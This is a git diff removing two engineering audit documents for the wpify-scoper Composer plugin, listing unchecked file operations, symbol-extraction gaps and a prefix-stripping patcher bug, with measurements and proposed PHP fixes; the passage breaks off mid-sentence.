-|---|---|---| -| 135 | `file_get_contents( composerjson )` | `false` → `json_decode(false)` → `null` → **fatal**, see #6 | -| 135 | `json_decode(...)` | `null` on malformed JSON → **fatal**, see #6 | -| 141 | `createJson(...)` | Silent; next run re-creates it | -| 148 | `file_get_contents( postinstall.php )` | `false` → all `str_replace` no-ops → `file_put_contents` writes `""` → the composer script runs an **empty `postinstall.php`**: php-scoper and dump-autoload succeed, `deps/` is never updated, and the run reports success | -| 157 | `file_put_contents( postinstallPath )` | Silent; script step 3 fails with "file not found", composer aborts, temp dir orphaned | -| 167 | `realpath( php-scoper.phar )` | `false` → malformed command, see #11 | -| 178 | `copy( lock, composerLockPath )` | Silent; nested install resolves from scratch, producing a **different dependency set than the lock intended** — a reproducibility bug, not just a slowdown | -| 197 | `runInstall(...)` return | Failure reported as success, see #12 | -| 259 | `copy( custom_path, temp )` | Silent; `scoper.custom.php` customisations silently not applied — `config/scoper.inc.php:9` just skips the missing file, so the user's patchers vanish with no message | -| 262 | `copy( inc_path, temp )` | Silent; php-scoper then fails with "config file not found" | -| 263 | `file_put_contents( scoper.config.php )` | Silent; `config/scoper.inc.php:5` requires a missing file → **fatal in the php-scoper process** | -| 280 | `mkdir(...)` | Silent, racy — see #14b | -| 286 | `json_encode(...)` | `false` on invalid UTF-8 or recursion → writes `""` → nested Composer fails on an empty `composer.json` | -| 287 | `file_put_contents( json )` | Silent; same | - -`createJson()` (`src/Plugin.php:284-288`) is worth special mention: it is the function that writes -the nested `composer.json`, and neither its `json_encode` nor its `file_put_contents` is checked. -An invalid-UTF-8 string anywhere in the user's `composer-deps.json` (a package description with a -bad byte, for instance) silently produces a zero-byte `composer.json`. - -### `scripts/postinstall.php` - -| Line | Call | Consequence when it fails | -|---|---|---| -| 4 | `opendir( $src )` | `false` → `readdir(false)` → **TypeError**, abort mid-delete leaving a partial tree | -| 6 | `readdir(...)` | A read error is indistinguishable from end-of-directory → silent partial delete, then `rmdir` fails, leaving a partial tree | -| 12 | `unlink( $full )` | Silent; `rmdir` then fails | -| 18 | `rmdir( $src )` | Silent; empty dirs accumulate | -| 40 | `file_get_contents( autoload_static )` | Truncates the file to zero bytes, see #9 | -| 46 | `file_put_contents( autoload_static )` | Silent; the `$files` fix is not applied → **duplicate-bootstrap bugs at runtime**, the exact problem this script exists to prevent | -| 50 | `file_get_contents( scoper_autoload )` | Truncates, see #9 | -| 53 | `file_put_contents( scoper_autoload )` | Silent; exposed symbols leak into the global namespace | -| 58 | `copy( destination/composer.lock, cwd/lock )` | The lock was already deleted at line 57 → **the user's lock file is gone** and not replaced; the next run resolves from scratch | -| 63 | `rename(...)` | Catastrophic, see #1 | - -**Fix.** A single guard helper used everywhere, and `exit(1)` on any failure so composer aborts -the chain: - -```php -function must( $result, string $what ) { - if ( false === $result || null === $result ) { - fwrite( STDERR, "wpify-scoper: {$what} failed\n" ); - exit( 1 ); - } - - return $result; -} -``` - -For `src/Plugin.php`, throw `RuntimeException` (Composer renders it cleanly) rather than -`exit`. - -**Benefit.** Every failure becomes visible and stops the pipeline before it can do damage. -Several of these currently produce *silently wrong output* rather than an error, which is the -worst kind of failure for a build tool. -**Downside.** More code; some previously "working" runs will start failing loudly. -**Severity:** Low individually, Medium–High in aggregate. **Effort:** M. - ---- - -## 24. `bin/wpify-scoper` issues - -**Location:** `bin/wpify-scoper` - -**24a — `NullIO` swallows everything.** Line 31: `$ioInterace = new NullIO();`. `NullIO::isInteractive()` returns `false` and every prompt returns its default. Consequences: - -- Authentication prompts for private repositories in `composer-deps.json` cannot be answered — - the run fails with an opaque error instead of asking for credentials. -- Composer warnings raised while building the root `Composer` object (deprecated config, platform - checks, `allow-plugins` prompts) are discarded. - -Note the *nested* install does print, because `runInstall()` builds its own `ConsoleOutput` -(`src/Plugin.php:291`) — so output is inconsistent: nothing from the outer setup, everything from -the inner install. - -**Fix:** `new ConsoleIO( new ArgvInput(), new ConsoleOutput(), new HelperSet() )`, or -`Factory::createOutput()` + `ConsoleIO`. - -**24b — No exit code.** The script ends at line 41 with no `exit()`. Always returns 0. See #12. - -**Fix:** `exit( (int) $scoper->execute( $fakeEvent ) );` once `execute()` returns a code. - -**24c — `argv` beyond `$argv[1]` ignored.** No `--no-dev`, no `--working-dir`, no `-v`, no -`--help`. `wpify-scoper install --no-dev` silently installs dev dependencies (#4). -`wpify-scoper install extra garbage` silently ignores the extras. - -**Fix:** Use `Symfony\Component\Console\Input\ArgvInput` with a defined `InputDefinition`, or a -tiny `getopt()`. At minimum, reject unknown arguments. - -**24d — `$vendorRoot = __DIR__ . '/../../..'` (line 9).** Assumes installation at -`vendor/wpify/scoper/bin/`. Running `./bin/wpify-scoper` from a clone resolves to the parent of -the project and fails on `require_once $vendorRoot . '/autoload.php'` with a fatal -"Failed opening required". Composer's generated `vendor/bin/` proxy makes the installed case work, -so this only bites contributors — but it bites them with an unhelpful error. - -**Fix:** - -```php -$autoloads = array( - __DIR__ . '/../vendor/autoload.php', // standalone clone - __DIR__ . '/../../../autoload.php', // installed in vendor/ -); - -foreach ( $autoloads as $autoload ) { - if ( is_file( $autoload ) ) { - require_once $autoload; - break; - } -} - -if ( ! class_exists( Plugin::class ) ) { - fwrite( STDERR, "wpify-scoper: could not locate the Composer autoloader.\n" ); - exit( 1 ); -} -``` - -**24e — `Factory::createComposer()` is not wrapped.** A missing or invalid root `composer.json` -throws an uncaught exception with a full stack trace instead of a message. - -**Benefit (all of 24).** The CLI entry point becomes usable in release scripts: it reports -failures, supports `--no-dev`, and works from a clone. -**Downside.** None. -**Severity:** Low (Medium once #4 and #12 are fixed, since this is where the flags must live). -**Effort:** S. - ---- - -## Suggested order of work - -1. **#1, #2** — stop the data-loss paths. Small, self-contained, highest value. -2. **#5, #6, #9, #11** — cheap guards that turn fatals into messages. -3. **#7** — one-line-ish fix for a first-run blocker on macOS/Windows. -4. **#12, #18** — make failures and misconfiguration visible. -5. **#3** — the correctness bug with the widest blast radius, but needs care and a test. -6. **#4, #17** — decide the command-provider story and fix `--no-dev` together. -7. **#8** — replace templating with a JSON side-car; unlocks linting/testing `postinstall.php`. -8. **#13, #14, #15, #16, #20, #23** — hardening and performance. -9. **#21, #22, #24** — cleanups. - -## Testing gap - -There is no test suite. Every finding above was reachable by reading, which means none of them -would have been caught by CI. The highest-leverage structural change is a single integration -fixture: a tiny `composer-deps.json` (one dependency with a `files` autoload entry and one global -polyfill stub), scoped end to end, asserting that - -- `deps/composer/autoload_static.php` has prefixed `$files` keys and **unmodified `$classMap` - keys** (#3), -- `deps/` exists and the temp dir does not (#1, #14), -- a non-zero nested exit code propagates (#12), -- `globals: []` completes without a fatal (#5). - -That fixture alone would have caught #1, #3, #5, #9 and #12. diff --git a/docs/improvements/03-symbols-and-scoper-config.md b/docs/improvements/03-symbols-and-scoper-config.md deleted file mode 100644 index c471a74..0000000 --- a/docs/improvements/03-symbols-and-scoper-config.md +++ /dev/null @@ -1,1035 +0,0 @@ -# 03 — Symbol extraction & php-scoper configuration - -Audit of `scripts/extract-symbols.php`, `symbols/*.php`, `config/scoper.inc.php`, -`config/scoper.config.php` and `Wpify\Scoper\Plugin::createScoperConfig()`. - -All numbers below were measured on this checkout (PHP 8.4.20, nikic/php-parser 5.x) -with throwaway scripts in the scratchpad. Nothing under `symbols/` was modified. - -**Versions under audit** (from `vendor/composer/installed.json`): - -| package | installed | -|---|---| -| `johnpbloch/wordpress` | 7.0.2 | -| `wpackagist-plugin/woocommerce` | 10.9.4 | -| `woocommerce/action-scheduler` | 4.0.0 | -| `wp-cli/wp-cli` | v2.12.0 | -| `yahnis-elsts/plugin-update-checker` | **v5.7** | -| `wpify/php-scoper` | 0.18.19 | - -**Current symbol inventory:** - -| file | bytes | total | functions | classes | namespaces | constants | -|---|---|---|---|---|---|---| -| `symbols/wordpress.php` | 201 746 | 5 332 | 4 190 | 524 | 78 | 540 | -| `symbols/woocommerce.php` | 94 509 | 1 994 | 1 018 | 595 | 374 | 7 | -| `symbols/action-scheduler.php` | 4 078 | 93 | 19 | 71 | 3 | 0 | -| `symbols/wp-cli.php` | 2 638 | 75 | 6 | 29 | 22 | 18 | -| `symbols/plugin-update-checker.php` | 1 025 | 33 | — | — | — | — (33 under `expose-classes`) | - ---- - -## Summary of findings - -| # | Finding | Severity | Effort | -|---|---|---|---| -| F1 | Patcher `str_replace` un-prefixes unrelated symbols (unanchored prefix match) | **High** | S | -| F2 | `resolve()` never descends into function bodies — 18 real symbols missed | **High** | S | -| F3 | PUC patchers are stale *and* actively break PUC v5 (`E_USER_ERROR` fatal) | **High** | S | -| F4 | `symbols/plugin-update-checker.php` is stale, uses the wrong config key, and is neutered by `postinstall.php` | **High** | S | -| F5 | `globals: ["plugin-update-checker"]` crashes with a `TypeError` | Medium | S | -| F6 | Top-level `const` never collected — 97 WP constants missing | Medium | S | -| F7 | Patcher rebuilds + re-sorts a 3 392-needle table for every scoped file (~1.33 ms/file) | Medium | S | -| F8 | No provenance/version metadata in `symbols/*.php`; unpinned sources; FS-ordered output | Medium | M | -| F9 | Twig `twig_*` patchers target functions removed from Twig 3.x | Medium | S | -| F10 | `If_` ignores `else`/`elseif`; `Try_`/`Switch_`/`Foreach_`/`Declare_` never walked | Medium | S | -| F11 | Only 5 hardcoded `globals`; no way to supply your own symbol list | Medium | M | -| F12 | `class_alias()` targets not collected (46 across WP/Woo/wp-cli) | Low | S | -| F13 | Dynamic `define()` not collected (6 occurrences) | Low | S | -| F14 | `namespace { }` (null name) would fatal the extractor | Low | S | -| F15 | Guzzle patcher is a dead no-op | Low | S | -| F16 | `config/scoper.config.php` ships three always-overwritten defaults | Low | S | -| F17 | `require_once` in `createScoperConfig()` → silent bare `exit` on second call | Low | S | -| F18 | wp-cli test-suite symbols (28) leak into the exclusion list | Low | S | -| F19 | `PhpVersion::fromString("8.1.0")` pin (currently harmless) | Low | S | -| F20 | 1.6 % duplication from `array_merge_recursive`; 370/374 Woo namespaces redundant | Low | S | - ---- - -## 1. Correctness of extraction - -### F2 — `resolve()` never descends into function bodies (High, S) - -`scripts/extract-symbols.php:51-78` dispatches on six node types and recurses only -into `Node\Stmt\If_`. It never walks a `Function_` body, so any symbol declared -inside a function is lost. - -I reimplemented `resolve()` verbatim and diffed it against a full-AST ground truth -(every global-namespace `Class_`/`Interface_`/`Trait_`/`Enum_`/`Function_`) over the -same file set the script uses: - -| source | files | classes found / truth | functions found / truth | **missed** | -|---|---|---|---|---| -| wordpress | 1 295 | 524 / 525 | 4 190 / 4 205 | **16** | -| woocommerce | 3 529 | 595 / 595 | 1 018 / 1 020 | **2** | -| action-scheduler | 95 | 71 / 71 | 19 / 19 | 0 | -| wp-cli | 182 | 29 / 29 | 6 / 6 | 0 | - -Namespaces: 0 missed in every source. - -The 18 misses, with their exact AST enclosing chain: - -``` -WP_Block_Cloner Function_(render_block_core_block) > If_ > Else_ > If_ > Class_ - sources/wordpress/wp-includes/blocks/block.php:93 -wxr_cdata (+13 wxr_*) Function_(export_wp) > Function_(wxr_cdata) - sources/wordpress/wp-admin/includes/export.php:245 -lowercase_octets Function_(redirect_canonical) > If_ > If_ > Function_ - sources/wordpress/wp-includes/canonical.php:789 -wp_handle_upload_error Function_(_wp_handle_upload) > If_ > Function_ - sources/wordpress/wp-admin/includes/file.php:807 -_sort_priority_callback If_ > Function_(woocommerce_sort_product_tabs) > If_ > Function_ - sources/plugin-woocommerce/includes/wc-template-functions.php:2398 -filter_created_pages Function_(wc_update_560_create_refund_returns_page) > Function_ - sources/plugin-woocommerce/includes/wc-update-functions.php:2382 -``` - -Every single miss has a `Function_` in its chain. This is exactly the bug that -commit `a59d577` ("extract constants defined inside function bodies") fixed for -constants — via a `NodeVisitor` that walks the whole AST — but the fix was never -extended to classes and functions. - -**Impact:** a scoped dependency that calls e.g. `wxr_cdata()` or -`function_exists('wp_handle_upload_error')` gets the call prefixed to -`Prefix\wxr_cdata()` and fatals at runtime. Narrow in practice (these are obscure -internal helpers) but the extraction is simply incorrect, and the same defect will -silently swallow more important symbols as WP/Woo evolve. - -**Fix:** replace `resolve()` entirely with a `NodeVisitorAbstract` that tracks the -current namespace and emits on `enterNode`, exactly like `ConstantCollector`: - -```php -class SymbolCollector extends NodeVisitorAbstract { - public array $symbols = [ - 'exclude-namespaces' => [], 'exclude-classes' => [], - 'exclude-functions' => [], 'exclude-constants' => [], - ]; - private ?string $namespace = null; - - public function enterNode( Node $node ) { - if ( $node instanceof Node\Stmt\Namespace_ ) { - // A `namespace { }` block has a null name — that's the global namespace. - $this->namespace = $node->name?->toString(); - if ( null !== $this->namespace ) { - $this->symbols['exclude-namespaces'][] = $this->namespace; - } - return null; - } - // Symbols inside a namespace are already covered by exclude-namespaces. - if ( null !== $this->namespace ) { - return null; - } - if ( $node instanceof Node\Stmt\Class_ - || $node instanceof Node\Stmt\Interface_ - || $node instanceof Node\Stmt\Trait_ - || $node instanceof Node\Stmt\Enum_ ) { - if ( null !== $node->name ) { // skip anonymous classes - $this->symbols['exclude-classes'][] = $node->name->name; - } - } elseif ( $node instanceof Node\Stmt\Function_ ) { - $this->symbols['exclude-functions'][] = $node->name->name; - } elseif ( $node instanceof Node\Stmt\Const_ ) { - foreach ( $node->consts as $const ) { - $this->symbols['exclude-constants'][] = $const->name->name; - } - } - return null; - } -} -``` - -This one class subsumes F2, F6, F10 and F14 and deletes ~30 lines. - -**Benefit:** correct, and structurally immune to new nesting shapes. -**Downside:** an `Enum_` in the global namespace now lands in `exclude-classes` -(correct, but a new entry); anonymous classes must be guarded (`$node->name` is -`null`) — the current top-level-only code never hit that case. - -### Namespaced declarations *are* covered — verified against php-scoper - -The extractor deliberately records only the namespace name and not the classes -inside it. That is correct. `php-scoper.phar`'s -`src/Symbol/NamespaceRegistry.php` matches with: - -```php -if ( '' === $excludedNamespaceName || str_contains( $normalizedNamespaceName, $excludedNamespaceName ) ) { - return true; -} -``` - -It is a **case-insensitive substring** match, not even a prefix match — so -`exclude-namespaces: ['Automattic\WooCommerce']` covers every sub-namespace. - -Two consequences worth recording: - -- **F20a (Low):** 65/78 WordPress and **370/374** WooCommerce namespace entries are - descendants of another entry in the same list and are pure noise. Collapsing to - roots would cut `symbols/woocommerce.php` substantially with zero behaviour change. -- **Over-exclusion hazard (Low–Medium):** because the match is *substring*, short - entries are greedy. The shortest entries currently shipped are `Sodium` (6), - `WP_CLI` (6), `Avifinfo` (8), `SimplePie` (9). A scoped dependency whose namespace - merely *contains* `Sodium` anywhere (e.g. `Acme\SodiumBridge`) will silently not be - prefixed. Nothing to fix on our side — it is php-scoper's semantics — but it argues - for keeping the namespace list as short and specific as possible, which the - collapse above also achieves. - -### F6 — top-level `const` is never collected (Medium, S) - -`Node\Stmt\Const_` appears in no branch of `resolve()`, and `ConstantCollector` -(`scripts/extract-symbols.php:21-39`) only matches `define()` calls. - -Measured: **97 global constants** in 2 WordPress files are missing: - -- `wp-includes/sodium_compat/lib/php72compat_const.php` — 89 consts - (`SODIUM_LIBRARY_VERSION`, `SODIUM_BASE64_VARIANT_ORIGINAL`, - `SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES`, …) -- `wp-includes/sodium_compat/lib/php84compat_const.php` — 8 consts - (`SODIUM_CRYPTO_AEAD_AEGIS128L_*`, `SODIUM_CRYPTO_AEAD_AEGIS256_*`) - -Verified absent from the shipped list: - -``` -SODIUM_LIBRARY_VERSION in exclude-constants? NO -SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES in exclude-constants? NO -SODIUM_BASE64_VARIANT_ORIGINAL in exclude-constants? NO -ABSPATH in exclude-constants? YES (define(), so caught) -``` - -WooCommerce, action-scheduler and wp-cli have zero top-level `const`. - -**Impact:** a scoped dependency that references `SODIUM_*` (any libsodium-using -crypto library that supports the polyfill) gets the constant prefixed and fatals. -Real, if narrow. -**Fix:** covered by the `SymbolCollector` above. - -### F10 — `If_` ignores `else`/`elseif`; other block statements never walked (Medium, S) - -`scripts/extract-symbols.php:60-69` iterates `$node->stmts` only. `$node->else` -(`Node\Stmt\Else_`) and `$node->elseifs` are dropped, and `Try_`, `Catch_`, -`Switch_`, `While_`, `Do_`, `For_`, `Foreach_`, `Declare_` and `Block` have no -branch at all. - -**Measured impact today: 0 additional symbols.** Every one of the 18 misses in F2 is -inside a function body, so fixing `else` handling alone recovers nothing on WP 7.0.2 / -Woo 10.9.4. This is a latent gap, not a live one — but `WP_Block_Cloner`'s chain -(`… > If_ > Else_ > If_ > Class_`) shows WordPress does write this shape, and a -top-level occurrence would be silently dropped. `Declare_` matters specifically: -`declare(strict_types=1) { … }` block form would hide an entire file. - -**Fix:** the visitor in F2 makes all of these irrelevant. - -### F14 — `namespace { }` would fatal the extractor (Low, S) - -`scripts/extract-symbols.php:53` does `join( '\\', $node->name->getParts() )`. -For a braced global-namespace block (`namespace { ... }`) `$node->name` is `null` -→ `Error: Call to a member function getParts() on null`, and since the `try/catch` -at `:112-132` only catches `PhpParser\Error`, the whole extraction run dies. - -Measured: **0 occurrences** in all five sources today. Latent only. -**Fix:** `$node->name?->toString()` (in the F2 visitor). - -### F13 — dynamic `define()` not collected (Low, S) - -`ConstantCollector` requires `$node->args[0]->value instanceof Node\Scalar\String_`. -Measured non-literal first arguments: - -| source | count | locations | -|---|---|---| -| wordpress | 3 | `wp-includes/ID3/module.audio-video.asf.php:51` (`Variable`), `sodium_compat/lib/php84compat.php:24` (`InterpolatedString`), `sodium_compat/lib/php72compat.php:107` (`InterpolatedString`) | -| woocommerce | 3 | `includes/class-woocommerce.php:594`, `includes/wc-core-functions.php:77`, `src/Internal/Admin/FeaturePlugin.php:234` (all `Variable`) | - -All six are loop/variable-driven; two of the WP ones are `define("SODIUM_$name", …)` -inside a `foreach` over the `ParagonIE_Sodium_Compat` constants — i.e. they mint the -*same* `SODIUM_*` names as F6, so fixing F6 covers them incidentally. - -No `@define` usage exists in any source (checked). The remaining four are genuinely -un-analysable statically. - -**Fix:** low value. If desired, resolve `Node\Scalar\InterpolatedString` whose parts -are all literal, and log the rest to stderr so regressions are visible. Otherwise -document the limitation. - -### F12 — `class_alias()` targets not collected (Low, S) - -Measured `class_alias()` calls: **37 in WordPress** (e.g. `wp-includes/class-phpmailer.php:18-19`, -`SimplePie/src/Category.php:126`, `SimplePie/src/SimplePie.php:3465`), **8 in -WooCommerce** (`src/Api/Infrastructure/Schema/aliases.php:18,23`, -`src/StoreApi/deprecated.php:73`, …), **1 in wp-cli**. - -Most alias *to* an already-excluded class (`PHPMailer\PHPMailer\PHPMailer` → -`PHPMailer`), so the alias name is usually already covered by the namespace or class -list. But the aliases in `deprecated.php` / `aliases.php` create global class names -that exist only at runtime and appear nowhere as a `class` declaration. - -**Fix:** in the visitor, also match `class_alias` `FuncCall`s and push -`$args[1]` (the alias name) into `exclude-classes` when it is a literal string. -**Benefit:** closes a class of runtime-only symbols. **Downside:** none material. - -### F18 — wp-cli test-suite symbols leak in (Low, S) - -`get_files()` (`scripts/extract-symbols.php:80-105`) filters only `/vendor/` and -`/wp-content/`. Measured symbols that come **exclusively** from test-ish directories: - -| source | test-ish files | test-only symbols | -|---|---|---| -| wordpress | 0 | 0 | -| woocommerce | 0 | 0 | -| action-scheduler | 0 | 0 | -| **wp-cli** | 23 | **28** | - -Examples: `exclude-namespaces: WP_CLI\Tests\Traverser`, `WP_CLI\Tests\CSV`, -`exclude-classes: WpOrgApiTest, InflectorTest, SynopsisParserTest, ProcessTest, -UtilsTest, Mock_Requests_Transport, FileCacheTest, MockRegularLogger`. - -These are never loaded in a WordPress request, so excluding them is pure -over-exclusion — and `WP_CLI\Tests\CSV` is a short substring entry (see the -substring-matching hazard above). - -**Fix:** add `tests?/`, `spec/`, `features/`, `.github/` to the skip regex. -**Downside:** none. - -### F19 — parser pinned to PHP 8.1 (Low, S) - -`scripts/extract-symbols.php:45`: - -```php -$parser = ( new ParserFactory() )->createForVersion( \PhpParser\PhpVersion::fromString("8.1.0") ); -``` - -I ran every source file through both an 8.1.0 and an 8.4.0 parser: - -``` -=== parse @ PHP 8.1.0 === === parse @ PHP 8.4.0 === -wordpress 1295 0 wordpress 1295 0 -woocommerce 3529 0 woocommerce 3529 0 -action-scheduler 95 0 action-scheduler 95 0 -wp-cli 182 0 wp-cli 182 0 -plugin-update-checker 39 0 plugin-update-checker 39 0 -``` - -**Zero parse failures at either version.** The pin is currently harmless. It is -still wrong in principle: the package requires `php: ^8.1` but the extractor is a -dev-only script run by maintainers, and WordPress/WooCommerce will eventually ship -syntax (property hooks, asymmetric visibility) that an 8.1 parser rejects — and -`extract_symbols()` swallows `PhpParser\Error` with a printed message -(`:130-132`), so a future failure will scroll past in a wall of output and produce a -silently truncated symbol list. - -**Fix:** use `PhpVersion::getNewestSupported()`, and make parse failures fatal -(collect them and `exit(1)` at the end with a count). **Benefit:** fail-fast at the -boundary. **Downside:** none — this script is maintainer-only. - ---- - -## 2. Reproducibility & provenance (F8, Medium, M) - -Current state: - -- `symbols/*.php` open with ` - array ( - 0 => 'trackback_response', - 1 => '_get_cron_lock', - 2 => 'do_activate_header', -``` - -The order is `RecursiveDirectoryIterator` order — filesystem-dependent, not sorted -(verified: `exclude-functions sorted? NO`). Two things follow: - -1. Regenerating on a different filesystem reshuffles thousands of lines for no - semantic change. -2. Inserting one symbol early renumbers every subsequent key, so a one-symbol change - can rewrite 4 000+ lines. The file is one-entry-per-line (5 345 lines for 5 332 - symbols), so it *could* diff beautifully — the explicit keys are what ruin it. - -### Proposal - -1. **Emit a provenance header.** Have `extract_symbols()` take the package name and - read the installed version from `vendor/composer/installed.json` (all five sources - are composer packages, including `johnpbloch/wordpress`): - - ```php - - */ - return array( ... ); - ``` - - Cost: ~15 lines. Makes every future PR reviewable. - -2. **Sort and reindex before export.** Replace `:137-144` with: - - ```php - foreach ( $symbols as $exclusion => $values ) { - $values = array_values( array_unique( $values ) ); - sort( $values, SORT_STRING ); - $symbols[ $exclusion ] = $values; - } - ksort( $symbols ); - ``` - - and export list-style (one quoted string per line, no `N =>`) with a tiny custom - printer rather than `var_export()`. Measured: deduping + sorting alone shrinks the - generated temp config from 303 980 → 299 019 bytes (1.6 %); dropping the integer - keys is worth far more on disk and turns regeneration diffs into pure - additions/removals. **This is the single highest-value change in this section.** - -3. **Pin the sources.** Replace the `"*"` constraints with exact versions - (`"johnpbloch/wordpress": "7.0.2"`) and **commit `composer.lock`** (remove - `/composer.lock` from `.gitignore`). This is a `composer-plugin`, not a library — - its lock file is not imposed on consumers, and it is the only record of what the - symbols were built from. `/sources/` should stay ignored (it is 4 800 files of - third-party code that composer can restore). - -4. **CI regeneration job.** A scheduled GitHub Actions workflow that: - `composer update johnpbloch/wordpress wpackagist-plugin/woocommerce … --no-interaction` - → `composer extract` → if `git diff --quiet symbols/` fails, open a PR titled - "Update symbols for WP x.y.z / WC a.b.c" with the version deltas in the body. - With (2) in place the PR diff is readable; with (1) the header change states the - versions. **Effort: M.** **Benefit:** symbol lists stop silently rotting between - manual "Upgrade" commits (the git log shows these happen ad hoc: `b00d523`, - `4abe3a6`, `0255f59`). - -5. **Add a smoke test** asserting a handful of canary symbols are present - (`wpdb`, `WP_Query`, `ABSPATH`, `WC_Product`, `Automattic\WooCommerce`) so a - catastrophically truncated regeneration cannot be merged. - ---- - -## 3. Output format & load cost (F7) - -**Measured — the load cost is a non-issue.** Requiring all four default symbol files -and `array_merge_recursive`-ing them, in a fresh PHP process with opcache: - -``` -1.15 ms | peak 2.00 MB (3 consecutive runs: 1.15, 1.15, 1.10 ms) -var_export of merged config: 0.55 ms, 303 937 bytes -merged array real memory: ~0.4 MB, peak (real) 4.00 MB -``` - -Alternatives, measured: - -| format | load+merge | on-disk | -|---|---|---| -| PHP `require` (current, opcached) | **1.15 ms** | 302 971 B | -| `json_decode(file_get_contents())` | 0.62 ms | 254 011 B | - -JSON is ~0.5 ms faster and 16 % smaller, but this runs **once per scoping run** — a -run that then shells out to `php-scoper.phar` and a full `composer install`, i.e. -tens of seconds. Saving 0.5 ms is noise, and PHP files get opcached while JSON does -not (relevant if this ever runs in a warm process). - -**Recommendation: do not change the storage format.** Keep `require`d PHP arrays. -The one format change worth making is the sort/reindex in F8.2, and that is for diff -quality, not speed. Splitting into one file per symbol type or per package adds file -count and `require` calls for no measurable gain. - -### F7 — the real cost is the patcher, not the load (Medium, S) - -`config/scoper.inc.php:79-103` runs **inside the patcher closure**, i.e. once for -**every file php-scoper processes**: - -```php -usort( $config['exclude-classes'], function ( $a, $b ) { // :79 — 1 219 elements - return strlen( $b ) - strlen( $a ); -} ); - -$count = 0; -$searches = array(); -$replacements = array(); - -foreach ( $config['exclude-classes'] as $symbol ) { // :87 — builds 2 438 needles - ... -} -foreach ( $config['exclude-namespaces'] as $symbol ) { // :95 — builds 954 more - ... -} - -$content = str_replace( $searches, $replacements, $content, $count ); // :103 — 3 392 needles -``` - -`$config` is captured by value, so the array is copied and re-sorted on every -invocation, and the 3 392-entry needle/replacement tables are rebuilt from scratch -every time — even though they are identical for every file. - -Measured (full loop: `usort` + build + `str_replace` on a ~4 KB file): - -``` -exclude-classes entries=1219 exclude-namespaces=477 -build needles: 0.45 ms, needle count=3392 -str_replace with 3392 needles on 4KB file: 0.99 ms -full per-file cost: 1.33 ms => for 5 000 vendor files: 6.7 s -``` - -**Fix:** hoist the sort and table construction out of the closure — build -`$searches`/`$replacements` once at the top of `scoper.inc.php` and `use` them: - -```php -$exclude_classes = $config['exclude-classes'] ?? array(); -usort( $exclude_classes, static fn( $a, $b ) => strlen( $b ) - strlen( $a ) ); - -$searches = $replacements = array(); -foreach ( array_merge( $exclude_classes, $config['exclude-namespaces'] ?? array() ) as $symbol ) { - $searches[] = "\\$prefix\\$symbol"; - $replacements[] = "\\$symbol"; - $searches[] = "use $prefix\\$symbol"; - $replacements[] = "use $symbol"; -} - -'patchers' => array( - function ( string $filePath, string $prefix, string $content ) use ( $searches, $replacements ): string { - ... - return str_replace( $searches, $replacements, $content ); - }, -), -``` - -**Benefit:** ~0.34 ms/file saved (≈25 %), ~1.7 s on a 5 000-file vendor tree, and the -code reads better. **Downside:** none. **Note:** `$count` at `:83`/`:103` is written -and never read — dead. - -### F1 — the patcher un-prefixes unrelated symbols (**High**, S) - -`config/scoper.inc.php:87-103` builds needles like `\{$prefix}\WP` and -`use {$prefix}\WP` and feeds them to `str_replace`, which matches **anywhere in the -string with no right-hand boundary**. The `usort` at `:79` only guarantees that a -longer *excluded* name wins over a shorter one — it does nothing for symbols that -are not in the list at all. - -The shortest shipped `exclude-classes` entries are `WP` (2), `PO` (2), `MO` (2), -`ftp` (3), `wpdb` (4), `POP3` (4), `PclZip` (6), `getID3` (6), `Walker` (6), -`Snoopy` (6), `WC_Tax` (6), `WC_CLI` (6). - -Reproduced with the real merged config and `$prefix = 'MyPrefix'`: - -``` -new \MyPrefix\WPSEO_Utils(); => new \WPSEO_Utils(); ← WRONG -use MyPrefix\WPBakery\Thing; => use WPBakery\Thing; ← WRONG -new \MyPrefix\POStuff(); => new \POStuff(); ← WRONG -new \MyPrefix\ftp_client(); => new \ftp_client(); ← WRONG -new \MyPrefix\MOnolog(); => new \MOnolog(); ← WRONG -new \MyPrefix\WP_Post(); => new \WP_Post(); ← correct -use MyPrefix\Monolog\Logger; => use MyPrefix\Monolog\Logger; ← correct -``` - -Any scoped dependency with a class or namespace whose fully-qualified name *starts -with* one of the 1 219 class names or 477 namespace names gets silently -de-prefixed. The result is a `Class "WPSEO_Utils" not found` fatal at runtime, in -the user's plugin, with no hint that the scoper caused it. - -**Fix:** anchor the replacement. Since the needles are already sorted longest-first, -the cheapest correct form is a single `preg_replace_callback` over -`(?:use\s+|\\)?{$prefix}\\([A-Za-z_][A-Za-z0-9_\\]*)` that looks the captured symbol -up in a hash set (`array_flip` of the exclusion lists, case-insensitively — php-scoper -itself matches case-insensitively, see `SymbolRegistry::normalizeNames()`), and only -strips the prefix on an exact hit. That is also *faster* than 3 392 `str_replace` -needles. - -**Benefit:** removes an entire class of silent, hard-to-diagnose runtime fatals. -**Downside:** a regex pass is a rewrite of the hottest part of the patcher and needs -tests. **Severity: High** — it is a correctness bug that scales with how many -dependencies the user scopes. - -**Design note.** This whole block exists to undo prefixing that php-scoper already -declined to do via `exclude-classes`/`exclude-namespaces`. Before rewriting it, it is -worth establishing *why* it is needed at all — php-scoper 0.18 handles exclusions -natively, and this may be compensating for something long since fixed upstream. If it -can be deleted, F1 and F7 both vanish. - ---- - -## 4. Duplication between the lists (F20, Low, S) - -`Plugin::createScoperConfig()` (`src/Plugin.php:223-256`) merges with -`array_merge_recursive` and **never de-duplicates**, so the generated -`scoper.config.php` ships duplicates: - -| key | entries | unique | dupes | -|---|---|---|---| -| `exclude-functions` | 5 233 | 5 213 | 20 | -| `exclude-classes` | 1 219 | 1 147 | **72** | -| `exclude-constants` | 568 | 554 | 14 | -| `exclude-namespaces` | 477 | 464 | 13 | -| **total** | **7 497** | **7 378** | **119 (1.6 %)** | - -Pairwise overlaps: - -``` -action-scheduler ^ woocommerce exclude-classes = 71 (ActionScheduler_*) -action-scheduler ^ woocommerce exclude-functions = 17 (as_schedule_*, as_enqueue_*) -action-scheduler ^ woocommerce exclude-namespaces = 3 (Action_Scheduler\*) -wordpress ^ wp-cli exclude-namespaces = 10 (WpOrg\Requests\*) -wordpress ^ wp-cli exclude-constants = 13 (ABSPATH, WP_DEBUG, …) -wordpress ^ wp-cli exclude-classes = 1 (Requests) -woocommerce ^ wordpress exclude-functions = 3 (str_contains, str_starts_with, str_ends_with) -woocommerce ^ wordpress exclude-constants = 1 (WP_POST_REVISIONS) -``` - -The action-scheduler/woocommerce overlap is complete (all 91 action-scheduler symbols -are in the Woo list) because WooCommerce 